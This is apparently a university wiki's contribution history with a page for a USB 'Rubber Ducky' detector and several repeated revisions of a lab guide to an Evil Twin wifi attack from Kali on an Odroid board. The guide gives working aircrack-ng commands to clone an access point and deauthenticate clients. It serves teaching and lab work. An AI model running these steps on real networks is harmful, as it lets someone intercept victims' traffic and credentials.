Elvis Wiki - User contributions [en]

Rubber Ducky Detector

2023-01-30T09:24:06Z

JHangstein: Created documentation for the Rubber Ducky Detector project.

== Summary ==

This article serves as documentation for using the Rubber Ducky Detector developed by students of the FH Campus Wien.
The Rubber Ducky Detector is a program running on a [[Raspberry Pi 4 Model B 8GB]] using RasPi OS that helps diminish attacks conducted with hotplug attack tools like the [[Hak5 Rubber Ducky]]. The Rubber Ducky is visually indistinguishable from a regular USB Stick, and pretends to be a Human Interface Device (HID) able to mimick keystrokes. The keystrokes can be pre-programmed in a custom payload. For further reference, see the detailed documentation for [[Hak5 Rubber Ducky]].

The Rubber Ducky Detector is designed to run on an isolated system and provides a point where users can check unknown USB devices for maliciousness safely. After plugging in a device, the program checks if it is a Rubber Ducky. In case it is a legitimate USB drive, the Rubber Ducky Detector additionally checks for malicious file extensions and references the [https://www.clamav.net/ ClamAV] anti virus library to check for infected files.

== Requirements ==

* Hardware: [[Raspberry Pi 4 4G Model B]] or [[Raspberry Pi 4 Model B 8GB]]
* Operating system: Pi OS (32-bit) with desktop, or '''alternatively''' [https://drive.google.com/file/d/1rc4VAEZ_PBI_TmvLSsJv3klG4QjUyw9A/view this custom image] with pre-installed utilities and configurations
* Screen: JoyIT 3.2" Touchscreen Display or regular HDMI-able screen
* Flashing Tool: [https://www.raspberrypi.com/software/ RasPi Imager]
* Packages: <code>g++ libusb-1.0-0-dev clamav libclamav-dev libgtkmm-3.0-dev</code>

== Usage ==

=== Setup ===

# Download the custom image. If the official RasPi OS image is to be used, skip to step 2.
# Use the RasPi Imager to flash the image on a connected SD card. For the official RasPi OS distribution, click "Choose OS" and select the topmost option Raspberry Pi OS (32-bit). For the custom image, scroll down and select the "Custom Image" option to select a custom image file. Select the connected SD card and initiate the flashing process.
# Upon completion of flashing, insert the SD card into the Raspberry Pi, connect screens, and boot it up.
# The custom image should initiate the Rubber Ducky Detector program automatically upon startup. It uses the credentials
username: pi
password: duckyDetector

'''For the official distribution only''', complete the setup process, open a terminal and clone the repository with the command
git clone https://git.fh-campuswien.ac.at/sisch/ducky-detector.git
then run the installer script
sudo ./install.sh
The installer script installs all required dependencies automatically and offers optional configuration of the touchscreen and an autostart functionality. If permission to run the script is denied, make the script executable by entering the command
sudo chmod +x install.h
After completing setup, enter the ducky-detector directory and compile the program by entering the command
sudo make
When the compilation is finished, run the program by typing
./DuckyDetector

'''Attention!''' Unplug all connected USB devices before initiating the scanning process.

=== Step 1: First Periphery Scan ===

To scan a device, press 'OK' to initiate the process. '''After that''', insert the USB drive, and press 'OK' again.
If the connected device is an HID, the tool will cancel the scanning process and warn the user.

=== Step 2: Second Periphery Scan ===

After passing the first check, the program will check for additional partitions on the device, and warn users if multiple partitions or file systems are detected. Press 'Details' for further information.

=== Step 3: File Extension Analysis ===

If all periphery scans are passed, the Rubber Ducky Detector analyses the file extensions of all files contained on the USB drive, and check for extensions with possible malicious consequences like executables. Press 'Details' for further information.

=== Step 4: Malware Analysis ===

To scan the device for malware, a ClamAV Engine is created that subsequently accesses an online database to downloads signatures. It then checks the files against these signatures to detect infected files. Press 'Details' for further information.

== Further Development ==

The project is hosted on [https://git.fh-campuswien.ac.at/sisch/ducky-detector GitLab]. The GUI has recently been updated to be easily editable by using the tool [https://glade.gnome.org/ Glade]. The GUI is optimized for a small touchscreen, but can easily be edited and upscaled by using Glade. To edit, open the <code>duckyDetector.glade</code> file in Glade. To view applied changes in the actual running program, no recompilation is necessary as the application pulls the data from the Glade file at runtime.

== Used Hardware ==

* [[Raspberry Pi 4 Model B 8GB]]
* [https://joy-it.net/en/products/RB-TFT3.2V2 JoyIT 3.2" Touchscreen Display]

== References ==

* [https://docs.hak5.org/hak5-usb-rubber-ducky/ Rubber Ducky Introduction]
* [https://github.com/hak5/usbrubberducky-payloads Rubber Ducky Official Payload Library]

[[Category:Documentation]]

Evil Twin Attack via Kali on Odroid XU4

2023-01-01T19:49:11Z

JHangstein: /* References */ Added references for summary.

== Summary ==

The Evil Twin (ET) Attack is a type of [https://en.wikipedia.org/wiki/Man-in-the-middle_attack Machine-in-the-Middle] (MitM) attack that is carried out via WiFi. The basic premise of the attack is to fool victims into thinking they are connecting to a legitimate access point (AP), when in fact they are connecting to the "evil twin" AP.

The goal of the attack usually coincides with the typical goals of any MitM attack. As every traffic leaving the local network to be routed over the internet leaves the LAN over the default gateway, an attacker can intercept all outgoing traffic when a client is connected to the ET. Attackers then redirect the traffic received by the victim to the legitimate gateway, posing as the victim machine. Network traffic now flows like normal, but via the attacker. Endpoints can still communicate with each other like before, but the victim's data is now at the attacker’s mercy. This data can be passwords or entire sessions to access e-mail accounts or social networks.
When considering the attack by comparing it against the CIA Triad, the implications are massive. An attacker in this position can compromise confidentiality by eavesdropping, and integrity by message modification. They can also intercept, modify, or destroy the messages to compromise availability.

The attack is conducted as follows: First, the attacker has to figure out which access point the intended victim is using. In the case no specific victim is targeted, attackers could also choose a commonly used access point like a public WiFi hotspot. If the access point that is going to be impersonated is fixated, in a second step the attacker has to take note of the APs Service Set Identification (SSID) number, and the Basic Service Set Identification (BSSID) number. The SSID is the name that is displayed for users trying to connect to a WiFi AP, while the BSSID is the physical MAC address of said AP. This is no complicated feat, as access points send out these two numbers constantly to allow users to connect. Following this premise, if the attacker sends out this information themselves, the evil twin will show up on the victim's device in the list of access points to connect to, with the same SSID and BSSID as the legitimate access point. With appropriate tools that will be described in more detail below, clients can be disconnected from the legitimate AP. The goal is to then broadcast with a stronger signal than the legitimate access point, fooling users to connect to the "best" available access point.

If the original access point is password protected, according measures need to be taken. Password protected access points are not immune to Evil Twin Attacks, especially when dealing with access points with easily obtainable passwords. This includes cafés, hotels, and similar institutions that tend to share their provided access point's password with their customer base. But even a private WiFi hotspot's password can be obtained through social engineering attacks without much sophistication. For example, attackers innocently asking for a WiFi password can fool a person knowing the password into giving it up. Another possibility is capturing a WPA handshake between the legitimate AP and a client and cracking the transmitted hash. In any case, as soon as the password is obtained, it can be added to the evil twin configuration.

== Requirements/Hardware==

Operating system: [https://www.offensive-security.com/kali-linux-arm-images/ Kali Linux ODROID-XU3]

Hardware:
* Exisiting WiFi hotspot for impersonation
* Client connected to WiFi hotspot
* ODROID XU4 single-board computer (incl. power supply unit 5V/4A)
* eMMC (min. 8GB)
* microSD (min. 8GB)
* microSD to USB adapter
* Mouse
* Keyboard
* Monitor (via HDMI)
* Two WiFi adapters (e.g. Alfa AWUS036EAC)

== Installing Kali on ODROID XU4 ==

=== Step 1: Download ===

Download the Kali image. The ODROID XU4 OS is very similar to the ODROID XU3 OS, thus the OS of XU3 can be used for a XU4 board.

=== Step 2: Preparation ===
'''Note:''' It is recommended to use Balena Etcher, as it works for different OS and does the two steps of formatting and flashing in the same process.

* Insert the microSD card into you PC (if required use the adapter)
* Format the microSD card with [https://www.balena.io/etcher/ Balena Etcher] or [https://sd-card-formatter.de.uptodown.com/windows SD Fortmatter]. If you use SD Formatter: Don't forget to check "Format Size Adjustment" in "Options".
* Flash the OS to the microSD card. Required: A program to create bootable devices, e.g. [https://win32diskimager.download/ Win32 Disk Imager for Windows].

=== Step 3: Installing ===
For the following steps you might need the [https://magazine.odroid.com/wp-content/uploads/odroid-xu4-user-manual.pdf manual for ODROID XU4] to see where the mentioned parts are located.
* Stick the eMMC to the ODROID XU4
* Switch the Boot Mode Selector to "microSD"
* Put in the microSD card
* Attach mouse, keyboard and monitor to the XU4. Make sure that all of them are attached before booting - otherwise you will receive a kernel error.
* After that: attach the power supply.

If all steps were performed correctly:
* The fan of the ODROID XU4 starts
* The blue LED should be on (solid light): bootloader running.
* Monitor should display booting.
This can take a while.

Username: kali
Password: kali

States of the ODROID XU4 LED:
* red LED: is on when power is available
* blue LED (solid): when the bootloader is running
* blue LED (blinks slowly, like a heartbeat): kernel is running
* blue LED (blinks fast): kernel is in panic mode

== Performing the Evil Twin Attack on Kali Linux ==

=== Interface Designation and Information Gathering ===

'''Add the WiFi adapters to the XU4 and check if they are recognized '''
sudo ifconfig
If the interfaces are not recognized, try rebooting the XU4.

'''Check the available wireless interfaces'''

Take note of their names, as the interfaces will be used in the attack.
sudo iwconfig

'''Find out the BSSID and which channel the legitimate AP uses'''

This can be done in two ways. If the SSID (common name) of the hotspot is known, take one of the available wireless interfaces from the step before and use the command
iw <interface name> scan | grep -B 8 -A 2 <SSID>
This displays the information about the specified SSID if it is represented in the list of available APs. The output contains SSID, BSSID and channel.

'''Alternatively''', the channel is also denotified in the output of airodump-ng. To use airodump-ng, first enter one of the available interfaces into monitor mode:
sudo airmon-ng start <interface name>
Then, analyze the output of the tool:
sudo airodump-ng <monitoring interface name>
After gathering the information, be sure to stop the monitoring for now:
sudo airmon-ng stop <monitoring interface name>

'''Start monitor mode on an available wireless interface'''.
sudo airmon-ng start <interface> <channel>
'''Cue''': Output has to contain "monitor mode enabled"

=== Evil Twin Access Point Creation ===

Insert the captured SSID and BSSID information:
sudo airbase-ng -a <BSSID> --essid <ESSID> <interface>
After running the command, airbase turns the wireless adapter into an access point. It now shows up in the list of available APs on devices in the area, carrying the same name as the legitimate AP.

=== Disassociation of Clients ===

Open a new terminal.

In this step, clients of the legitimate access points will be deauthenticated and will lose their internet connection.

'''Deauthenticating clients'''
sudo aireplay-ng --deauth 0 -a <router BSSID> <second monitoring interface>
The "0" indicates how fast the deauthentication packets will be sent (in seconds). 0 is the fastest option and will spam the deauthentication packet. For this command to work, te monitoring interface used '''has''' to be in the right channel!

This command might not work because it could produce a broadcast storm, so some WiFi routers filter them.

'''Alternatively''', a specific client can be disconnected by specifying the client MAC address.

'''Disconnect a specific client:'''

First run the airodump-ng command again, but with the BSSID of the router to receive the MAC address of the client:
sudo airodump-ng <monitoring interface> --bssid <router BSSID> -c <routers channel>
Then execute the deauth-command:
sudo aireplay-ng --deauth 0 -c <client MAC address> -a <router BSSID> <second monitoring interface>

=== Bring clients to connect to the fake AP ===

As soon as clients are disassociated from the legitimate AP, they lose their internet connectivity. When trying to reconnect to the AP, they are ''probably'' going to click on the AP with the best signal, which - depending on OS - will usually also be displayed at the top of the list of available APs. This means that it is in the interest of the attacker to move close to the victim, and use a strong antenna, to increase the signal strength and the chances of success.

Additionally, before deauthentication, the attacker should create a bridge to assure that the traffic flows over the ET to the legitimate router to provide internet connectivity to the victim and complete the MitM setup.

=== Error handling ===

If neither disconnecting all clients nor disconnecting a specific client worked, you can check if the card supports injection:
sudo aireplay-ng --test <interface>

== References ==

* https://wiki.odroid.com/odroid-xu4/odroid-xu4
* https://www.offensive-security.com/kali-linux-arm-images/
* https://www.kalitutorials.net/2014/07/evil-twin-tutorial.html
* https://ieeexplore.ieee.org/document/8955158
* https://ieeexplore.ieee.org/document/6997491
* https://ieeexplore.ieee.org/document/4745081
* https://ieeexplore.ieee.org/document/8344724

[[Category:Documentation]]

Evil Twin Attack via Kali on Odroid XU4

2023-01-01T19:42:03Z

JHangstein: /* Performing Evil Twin on ODROID XU4 */ Completely overhauled the section by adding explanations and additional information. Removed unnecessary commands, updated others. Added a more convenient way to gather information.

Evil Twin Attack via Kali on Odroid XU4

2023-01-01T18:55:19Z

JHangstein: /* Step 1: Download */ Grammar.

== Summary ==

The Evil Twin (ET) Attack is a type of [https://en.wikipedia.org/wiki/Man-in-the-middle_attack Machine-in-the-Middle] (MitM) attack that is carried out via WiFi. The basic premise of the attack is to fool victims into thinking they are connecting to a legitimate access point (AP), when in fact they are connecting to the "evil twin" AP.

The goal of the attack usually coincides with the typical goals of any MitM attack. As every traffic leaving the local network to be routed over the internet leaves the LAN over the default gateway, an attacker can intercept all outgoing traffic when a client is connected to the ET. Attackers then redirect the traffic received by the victim to the legitimate gateway, posing as the victim machine. Network traffic now flows like normal, but via the attacker. Endpoints can still communicate with each other like before, but the victim's data is now at the attacker’s mercy. This data can be passwords or entire sessions to access e-mail accounts or social networks.
When considering the attack by comparing it against the CIA Triad, the implications are massive. An attacker in this position can compromise confidentiality by eavesdropping, and integrity by message modification. They can also intercept, modify, or destroy the messages to compromise availability.

The attack is conducted as follows: First, the attacker has to figure out which access point the intended victim is using. In the case no specific victim is targeted, attackers could also choose a commonly used access point like a public WiFi hotspot. If the access point that is going to be impersonated is fixated, in a second step the attacker has to take note of the APs Service Set Identification (SSID) number, and the Basic Service Set Identification (BSSID) number. The SSID is the name that is displayed for users trying to connect to a WiFi AP, while the BSSID is the physical MAC address of said AP. This is no complicated feat, as access points send out these two numbers constantly to allow users to connect. Following this premise, if the attacker sends out this information themselves, the evil twin will show up on the victim's device in the list of access points to connect to, with the same SSID and BSSID as the legitimate access point. With appropriate tools that will be described in more detail below, clients can be disconnected from the legitimate AP. The goal is to then broadcast with a stronger signal than the legitimate access point, fooling users to connect to the "best" available access point.

If the original access point is password protected, according measures need to be taken. Password protected access points are not immune to Evil Twin Attacks, especially when dealing with access points with easily obtainable passwords. This includes cafés, hotels, and similar institutions that tend to share their provided access point's password with their customer base. But even a private WiFi hotspot's password can be obtained through social engineering attacks without much sophistication. For example, attackers innocently asking for a WiFi password can fool a person knowing the password into giving it up. Another possibility is capturing a WPA handshake between the legitimate AP and a client and cracking the transmitted hash. In any case, as soon as the password is obtained, it can be added to the evil twin configuration.

== Requirements/Hardware==

Operating system: [https://www.offensive-security.com/kali-linux-arm-images/ Kali Linux ODROID-XU3]

Hardware:
* Exisiting WiFi hotspot for impersonation
* Client connected to WiFi hotspot
* ODROID XU4 single-board computer (incl. power supply unit 5V/4A)
* eMMC (min. 8GB)
* microSD (min. 8GB)
* microSD to USB adapter
* Mouse
* Keyboard
* Monitor (via HDMI)
* Two WiFi adapters (e.g. Alfa AWUS036EAC)

== Installing Kali on ODROID XU4 ==

=== Step 1: Download ===

Download the Kali image. The ODROID XU4 OS is very similar to the ODROID XU3 OS, thus the OS of XU3 can be used for a XU4 board.

=== Step 2: Preparation ===
'''Note:''' It is recommended to use Balena Etcher, as it works for different OS and does the two steps of formatting and flashing in the same process.

* Insert the microSD card into you PC (if required use the adapter)
* Format the microSD card with [https://www.balena.io/etcher/ Balena Etcher] or [https://sd-card-formatter.de.uptodown.com/windows SD Fortmatter]. If you use SD Formatter: Don't forget to check "Format Size Adjustment" in "Options".
* Flash the OS to the microSD card. Required: A program to create bootable devices, e.g. [https://win32diskimager.download/ Win32 Disk Imager for Windows].

=== Step 3: Installing ===
For the following steps you might need the [https://magazine.odroid.com/wp-content/uploads/odroid-xu4-user-manual.pdf manual for ODROID XU4] to see where the mentioned parts are located.
* Stick the eMMC to the ODROID XU4
* Switch the Boot Mode Selector to "microSD"
* Put in the microSD card
* Attach mouse, keyboard and monitor to the XU4. Make sure that all of them are attached before booting - otherwise you will receive a kernel error.
* After that: attach the power supply.

If all steps were performed correctly:
* The fan of the ODROID XU4 starts
* The blue LED should be on (solid light): bootloader running.
* Monitor should display booting.
This can take a while.

Username: kali
Password: kali

States of the ODROID XU4 LED:
* red LED: is on when power is available
* blue LED (solid): when the bootloader is running
* blue LED (blinks slowly, like a heartbeat): kernel is running
* blue LED (blinks fast): kernel is in panic mode

== Performing Evil Twin on ODROID XU4 ==
'''First, add the WiFi adapter to the XU4, reboot and check if it is recognized:'''
sudo reboot
sudo ifconfg

'''See the available interfaces'''
sudo iwconfig

'''Check status of wireless interfaces'''
sudo airmon-ng

'''Start monitor mode on the available wireless interface'''.
sudo airmon-ng start <interface> <channel>
Cue: Output has to contain "monitor mode enabled"

'''Eventually kill processes and execute command again'''
sudo airmon-ng check kill
sudo airmon-ng start <interface> <channel>

'''Capture packets'''
sudo airodump-ng <interface> -c <channel>
After 30-40 seconds, press ctrl+c and leave the terminal as it is and open a new one.

'''Creating the twin'''
sudo airbase-ng -a <BSSID> --essid <ESSID> -c <channel> <interface>
The data is taken from the previous output and these are required to trick the victim. After running the command, airebase turned the wireless adapter into an access point. Open a new terminal.

In the next step the client and the XU4 will lose the connection to the internet. Because the WiFi Adapter of XU4 is busy acting like an access point, it either needs a second WiFi adapter or an ethernet connection to the internet.

'''Telling the Client to get lost'''

Disconnect all Clients:
sudo aireplay-ng --deauth 0 -a <BSSID> <interface>--ignore-negative-one
The "0" indicates how fast the deauthentication packets will be sent (in seconds). 0 is the fastest option.
But this command sometimes doesn't work because it could produce a broadcast storm, so some WiFi routers filter them.

Disconnect a specific client:
First run the airodump-ng command again, but with BSSID of router to receive the MAC address of the client:
sudo airodump-ng wlan0 --bssid <routers BSSID> -c <routers channel>
Then execute the deauth-command:
sudo aireplay-ng --deauth 0 -c <devices MAC address> -a <routers MAC address> interface>

'''Error handling'''

If neither disconnecting all clients nor disconnecting a specific client worked, you can check if the card supports injection:
sudo aireplay-ng --test wlan0

== References ==

* https://wiki.odroid.com/odroid-xu4/odroid-xu4
* https://www.offensive-security.com/kali-linux-arm-images/
* https://www.kalitutorials.net/2014/07/evil-twin-tutorial.html
[[Category:Documentation]]

Evil Twin Attack via Kali on Odroid XU4

2023-01-01T18:54:25Z

JHangstein: /* Step 2: Preparation */ Updated tools and instructions.

== Summary ==

The Evil Twin (ET) Attack is a type of [https://en.wikipedia.org/wiki/Man-in-the-middle_attack Machine-in-the-Middle] (MitM) attack that is carried out via WiFi. The basic premise of the attack is to fool victims into thinking they are connecting to a legitimate access point (AP), when in fact they are connecting to the "evil twin" AP.

The goal of the attack usually coincides with the typical goals of any MitM attack. As every traffic leaving the local network to be routed over the internet leaves the LAN over the default gateway, an attacker can intercept all outgoing traffic when a client is connected to the ET. Attackers then redirect the traffic received by the victim to the legitimate gateway, posing as the victim machine. Network traffic now flows like normal, but via the attacker. Endpoints can still communicate with each other like before, but the victim's data is now at the attacker’s mercy. This data can be passwords or entire sessions to access e-mail accounts or social networks.
When considering the attack by comparing it against the CIA Triad, the implications are massive. An attacker in this position can compromise confidentiality by eavesdropping, and integrity by message modification. They can also intercept, modify, or destroy the messages to compromise availability.

The attack is conducted as follows: First, the attacker has to figure out which access point the intended victim is using. In the case no specific victim is targeted, attackers could also choose a commonly used access point like a public WiFi hotspot. If the access point that is going to be impersonated is fixated, in a second step the attacker has to take note of the APs Service Set Identification (SSID) number, and the Basic Service Set Identification (BSSID) number. The SSID is the name that is displayed for users trying to connect to a WiFi AP, while the BSSID is the physical MAC address of said AP. This is no complicated feat, as access points send out these two numbers constantly to allow users to connect. Following this premise, if the attacker sends out this information themselves, the evil twin will show up on the victim's device in the list of access points to connect to, with the same SSID and BSSID as the legitimate access point. With appropriate tools that will be described in more detail below, clients can be disconnected from the legitimate AP. The goal is to then broadcast with a stronger signal than the legitimate access point, fooling users to connect to the "best" available access point.

If the original access point is password protected, according measures need to be taken. Password protected access points are not immune to Evil Twin Attacks, especially when dealing with access points with easily obtainable passwords. This includes cafés, hotels, and similar institutions that tend to share their provided access point's password with their customer base. But even a private WiFi hotspot's password can be obtained through social engineering attacks without much sophistication. For example, attackers innocently asking for a WiFi password can fool a person knowing the password into giving it up. Another possibility is capturing a WPA handshake between the legitimate AP and a client and cracking the transmitted hash. In any case, as soon as the password is obtained, it can be added to the evil twin configuration.

== Requirements/Hardware==

Operating system: [https://www.offensive-security.com/kali-linux-arm-images/ Kali Linux ODROID-XU3]

Hardware:
* Exisiting WiFi hotspot for impersonation
* Client connected to WiFi hotspot
* ODROID XU4 single-board computer (incl. power supply unit 5V/4A)
* eMMC (min. 8GB)
* microSD (min. 8GB)
* microSD to USB adapter
* Mouse
* Keyboard
* Monitor (via HDMI)
* Two WiFi adapters (e.g. Alfa AWUS036EAC)

== Installing Kali on ODROID XU4 ==

=== Step 1: Download ===

Download the Kali image. The ODROID XU4 is very similar to the ODROID XU3 thus the OS of XU3 can be used for XU4 too.

=== Step 2: Preparation ===
'''Note:''' It is recommended to use Balena Etcher, as it works for different OS and does the two steps of formatting and flashing in the same process.

* Insert the microSD card into you PC (if required use the adapter)
* Format the microSD card with [https://www.balena.io/etcher/ Balena Etcher] or [https://sd-card-formatter.de.uptodown.com/windows SD Fortmatter]. If you use SD Formatter: Don't forget to check "Format Size Adjustment" in "Options".
* Flash the OS to the microSD card. Required: A program to create bootable devices, e.g. [https://win32diskimager.download/ Win32 Disk Imager for Windows].

=== Step 3: Installing ===
For the following steps you might need the [https://magazine.odroid.com/wp-content/uploads/odroid-xu4-user-manual.pdf manual for ODROID XU4] to see where the mentioned parts are located.
* Stick the eMMC to the ODROID XU4
* Switch the Boot Mode Selector to "microSD"
* Put in the microSD card
* Attach mouse, keyboard and monitor to the XU4. Make sure that all of them are attached before booting - otherwise you will receive a kernel error.
* After that: attach the power supply.

If all steps were performed correctly:
* The fan of the ODROID XU4 starts
* The blue LED should be on (solid light): bootloader running.
* Monitor should display booting.
This can take a while.

Username: kali
Password: kali

States of the ODROID XU4 LED:
* red LED: is on when power is available
* blue LED (solid): when the bootloader is running
* blue LED (blinks slowly, like a heartbeat): kernel is running
* blue LED (blinks fast): kernel is in panic mode

== Performing Evil Twin on ODROID XU4 ==
'''First, add the WiFi adapter to the XU4, reboot and check if it is recognized:'''
sudo reboot
sudo ifconfg

'''See the available interfaces'''
sudo iwconfig

'''Check status of wireless interfaces'''
sudo airmon-ng

'''Start monitor mode on the available wireless interface'''.
sudo airmon-ng start <interface> <channel>
Cue: Output has to contain "monitor mode enabled"

'''Eventually kill processes and execute command again'''
sudo airmon-ng check kill
sudo airmon-ng start <interface> <channel>

'''Capture packets'''
sudo airodump-ng <interface> -c <channel>
After 30-40 seconds, press ctrl+c and leave the terminal as it is and open a new one.

'''Creating the twin'''
sudo airbase-ng -a <BSSID> --essid <ESSID> -c <channel> <interface>
The data is taken from the previous output and these are required to trick the victim. After running the command, airebase turned the wireless adapter into an access point. Open a new terminal.

In the next step the client and the XU4 will lose the connection to the internet. Because the WiFi Adapter of XU4 is busy acting like an access point, it either needs a second WiFi adapter or an ethernet connection to the internet.

'''Telling the Client to get lost'''

Disconnect all Clients:
sudo aireplay-ng --deauth 0 -a <BSSID> <interface>--ignore-negative-one
The "0" indicates how fast the deauthentication packets will be sent (in seconds). 0 is the fastest option.
But this command sometimes doesn't work because it could produce a broadcast storm, so some WiFi routers filter them.

Disconnect a specific client:
First run the airodump-ng command again, but with BSSID of router to receive the MAC address of the client:
sudo airodump-ng wlan0 --bssid <routers BSSID> -c <routers channel>
Then execute the deauth-command:
sudo aireplay-ng --deauth 0 -c <devices MAC address> -a <routers MAC address> interface>

'''Error handling'''

If neither disconnecting all clients nor disconnecting a specific client worked, you can check if the card supports injection:
sudo aireplay-ng --test wlan0

== References ==

* https://wiki.odroid.com/odroid-xu4/odroid-xu4
* https://www.offensive-security.com/kali-linux-arm-images/
* https://www.kalitutorials.net/2014/07/evil-twin-tutorial.html
[[Category:Documentation]]

Evil Twin Attack via Kali on Odroid XU4

2023-01-01T18:47:47Z

JHangstein: Fixed link formatting.

== Summary ==

The Evil Twin (ET) Attack is a type of [https://en.wikipedia.org/wiki/Man-in-the-middle_attack Machine-in-the-Middle] (MitM) attack that is carried out via WiFi. The basic premise of the attack is to fool victims into thinking they are connecting to a legitimate access point (AP), when in fact they are connecting to the "evil twin" AP.

The goal of the attack usually coincides with the typical goals of any MitM attack. As every traffic leaving the local network to be routed over the internet leaves the LAN over the default gateway, an attacker can intercept all outgoing traffic when a client is connected to the ET. Attackers then redirect the traffic received by the victim to the legitimate gateway, posing as the victim machine. Network traffic now flows like normal, but via the attacker. Endpoints can still communicate with each other like before, but the victim's data is now at the attacker’s mercy. This data can be passwords or entire sessions to access e-mail accounts or social networks.
When considering the attack by comparing it against the CIA Triad, the implications are massive. An attacker in this position can compromise confidentiality by eavesdropping, and integrity by message modification. They can also intercept, modify, or destroy the messages to compromise availability.

The attack is conducted as follows: First, the attacker has to figure out which access point the intended victim is using. In the case no specific victim is targeted, attackers could also choose a commonly used access point like a public WiFi hotspot. If the access point that is going to be impersonated is fixated, in a second step the attacker has to take note of the APs Service Set Identification (SSID) number, and the Basic Service Set Identification (BSSID) number. The SSID is the name that is displayed for users trying to connect to a WiFi AP, while the BSSID is the physical MAC address of said AP. This is no complicated feat, as access points send out these two numbers constantly to allow users to connect. Following this premise, if the attacker sends out this information themselves, the evil twin will show up on the victim's device in the list of access points to connect to, with the same SSID and BSSID as the legitimate access point. With appropriate tools that will be described in more detail below, clients can be disconnected from the legitimate AP. The goal is to then broadcast with a stronger signal than the legitimate access point, fooling users to connect to the "best" available access point.

If the original access point is password protected, according measures need to be taken. Password protected access points are not immune to Evil Twin Attacks, especially when dealing with access points with easily obtainable passwords. This includes cafés, hotels, and similar institutions that tend to share their provided access point's password with their customer base. But even a private WiFi hotspot's password can be obtained through social engineering attacks without much sophistication. For example, attackers innocently asking for a WiFi password can fool a person knowing the password into giving it up. Another possibility is capturing a WPA handshake between the legitimate AP and a client and cracking the transmitted hash. In any case, as soon as the password is obtained, it can be added to the evil twin configuration.

== Requirements/Hardware==

Operating system: [https://www.offensive-security.com/kali-linux-arm-images/ Kali Linux ODROID-XU3]

Hardware:
* Exisiting WiFi hotspot for impersonation
* Client connected to WiFi hotspot
* ODROID XU4 single-board computer (incl. power supply unit 5V/4A)
* eMMC (min. 8GB)
* microSD (min. 8GB)
* microSD to USB adapter
* Mouse
* Keyboard
* Monitor (via HDMI)
* Two WiFi adapters (e.g. Alfa AWUS036EAC)

== Installing Kali on ODROID XU4 ==

=== Step 1: Download ===

Download the Kali image. The ODROID XU4 is very similar to the ODROID XU3 thus the OS of XU3 can be used for XU4 too.

=== Step 2: Preparation ===
* Insert the microSD card into you PC (if required use the adapter)
* Format the microSD card with e.g. [https://sd-card-formatter.de.uptodown.com/windows SD Fortmatter]. If you use "SD Formatter": don't forget to check "Format Size Adjustment" in "Options".
* Add the OS to the microSD card. Required: a program to create bootable devices, e.g. [https://win32diskimager.download/ Win32 Disk Imager for Windows].

=== Step 3: Installing ===
For the following steps you might need the [https://magazine.odroid.com/wp-content/uploads/odroid-xu4-user-manual.pdf manual for ODROID XU4] to see where the mentioned parts are located.
* Stick the eMMC to the ODROID XU4
* Switch the Boot Mode Selector to "microSD"
* Put in the microSD card
* Attach mouse, keyboard and monitor to the XU4. Make sure that all of them are attached before booting - otherwise you will receive a kernel error.
* After that: attach the power supply.

If all steps were performed correctly:
* The fan of the ODROID XU4 starts
* The blue LED should be on (solid light): bootloader running.
* Monitor should display booting.
This can take a while.

Username: kali
Password: kali

States of the ODROID XU4 LED:
* red LED: is on when power is available
* blue LED (solid): when the bootloader is running
* blue LED (blinks slowly, like a heartbeat): kernel is running
* blue LED (blinks fast): kernel is in panic mode

== Performing Evil Twin on ODROID XU4 ==
'''First, add the WiFi adapter to the XU4, reboot and check if it is recognized:'''
sudo reboot
sudo ifconfg

'''See the available interfaces'''
sudo iwconfig

'''Check status of wireless interfaces'''
sudo airmon-ng

'''Start monitor mode on the available wireless interface'''.
sudo airmon-ng start <interface> <channel>
Cue: Output has to contain "monitor mode enabled"

'''Eventually kill processes and execute command again'''
sudo airmon-ng check kill
sudo airmon-ng start <interface> <channel>

'''Capture packets'''
sudo airodump-ng <interface> -c <channel>
After 30-40 seconds, press ctrl+c and leave the terminal as it is and open a new one.

'''Creating the twin'''
sudo airbase-ng -a <BSSID> --essid <ESSID> -c <channel> <interface>
The data is taken from the previous output and these are required to trick the victim. After running the command, airebase turned the wireless adapter into an access point. Open a new terminal.

In the next step the client and the XU4 will lose the connection to the internet. Because the WiFi Adapter of XU4 is busy acting like an access point, it either needs a second WiFi adapter or an ethernet connection to the internet.

'''Telling the Client to get lost'''

Disconnect all Clients:
sudo aireplay-ng --deauth 0 -a <BSSID> <interface>--ignore-negative-one
The "0" indicates how fast the deauthentication packets will be sent (in seconds). 0 is the fastest option.
But this command sometimes doesn't work because it could produce a broadcast storm, so some WiFi routers filter them.

Disconnect a specific client:
First run the airodump-ng command again, but with BSSID of router to receive the MAC address of the client:
sudo airodump-ng wlan0 --bssid <routers BSSID> -c <routers channel>
Then execute the deauth-command:
sudo aireplay-ng --deauth 0 -c <devices MAC address> -a <routers MAC address> interface>

'''Error handling'''

If neither disconnecting all clients nor disconnecting a specific client worked, you can check if the card supports injection:
sudo aireplay-ng --test wlan0

== References ==

* https://wiki.odroid.com/odroid-xu4/odroid-xu4
* https://www.offensive-security.com/kali-linux-arm-images/
* https://www.kalitutorials.net/2014/07/evil-twin-tutorial.html
[[Category:Documentation]]

Evil Twin Attack via Kali on Odroid XU4

2023-01-01T18:44:22Z

JHangstein: Updated Hardware requirements.

== Summary ==

The Evil Twin (ET) Attack is a type of Machine-in-the-Middle (MitM) attack that is carried out via WiFi. The basic premise of the attack is to fool victims into thinking they are connecting to a legitimate access point (AP), when in fact they are connecting to the "evil twin" AP.

The goal of the attack usually coincides with the typical goals of any MitM attack. As every traffic leaving the local network to be routed over the internet leaves the LAN over the default gateway, an attacker can intercept all outgoing traffic when a client is connected to the ET. Attackers then redirect the traffic received by the victim to the legitimate gateway, posing as the victim machine. Network traffic now flows like normal, but via the attacker. Endpoints can still communicate with each other like before, but the victim's data is now at the attacker’s mercy. This data can be passwords or entire sessions to access e-mail accounts or social networks.
When considering the attack by comparing it against the CIA Triad, the implications are massive. An attacker in this position can compromise confidentiality by eavesdropping, and integrity by message modification. They can also intercept, modify, or destroy the messages to compromise availability.

